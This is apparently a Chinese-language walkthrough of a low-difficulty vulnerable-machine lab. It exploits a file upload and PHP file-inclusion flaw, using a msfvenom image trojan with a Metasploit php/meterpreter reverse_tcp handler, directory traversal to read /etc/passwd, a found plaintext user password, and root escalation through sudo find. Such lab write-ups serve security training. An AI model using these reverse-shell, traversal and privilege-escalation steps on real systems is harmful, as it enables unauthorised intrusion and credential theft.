靶机等级:Low
技能考点:文件上传、文件包含漏洞
漏洞描述:当服务器开启allow_url_include选项时,就可以通过php的某些特性函数如include(),require()和include_once(),require_once(),利用url去动态包含文件,这时,如果文件名参数用户可控且没有做严格过滤,就导致任意文件读取或者任意命令执行(偷梁换柱)
0x01 信息收集
获取靶机IP地址
arp-scan -l
使用nmap 对靶机做积极的扫描
nmap -A 192.168.174.131
打开浏览器,访问靶机开放的HTTP(80)服务:
总结:
- 靶机IP地址(192.168.174.131)
- 开放的服务:HTTP(80)
- 访问靶机开放的HTTP服务,发现存在一个上传入口
0x02 漏洞探测
思路:发现上传入口,尝试上传一个图片木马
1. 使用msfvenom生成图片木马
- lhost,地址是攻击端地址
- lport,端口是你攻击端监听端口
2. 打开 metasploit 监听
use exploit/multi/handler #调用这个模块 set payload php/meterpreter/reverse_tcp #设置payload set LHOST 192.168.174.177 #设置监听地址 set LPORT 443 #设置监听端口 exploit #利用
3. 修改文件扩展名,上传图片木马
mv shell.php webshell.jpg
上传成功后,发现上传的路径:uploads/webshell.jpg
4. 在初始的页面发现还有一个按钮
0x03 拿到SHELL
接下来,尝试读取我们的图片木马,我们先读取账户文件(/etc/passwd) 试试
可是,当我们测试尝试读取文件的时候,发现读取不到这是为什么呢?
我决定采取遍历目录的方式再尝试一下,果然读取到了
接下来,读取我们的图片木马文件,返回 metasploit 可以看到,我们已经拿到一个会话
1. 拿到shell后靶机信息收集
uname -r #查看内核版本信息 uname -a #查看系统信息 cat /etc/passwd #查看账户文件
靶机系统是 Ubuntu 18.04 版本,在账户文件中发现了一个叫bassam的账户
在靶机/var/www/html/ 目录下我们发现了一个可疑的目录
进入后,发现了bassam账户的密码文件
查看这个文件得到bassam密码:Password123!@#
切换到bassam 用户,可以看到成功切换到bassam用户
好的,接下来进行提权
0x04 提权
如何提权呢?首先,我们看一下授权列表,发现find程序可以以root身份运行
sudo -l
那么,我们可以利用find来执行一个SHELL,提权成功
至此,靶机提权完成!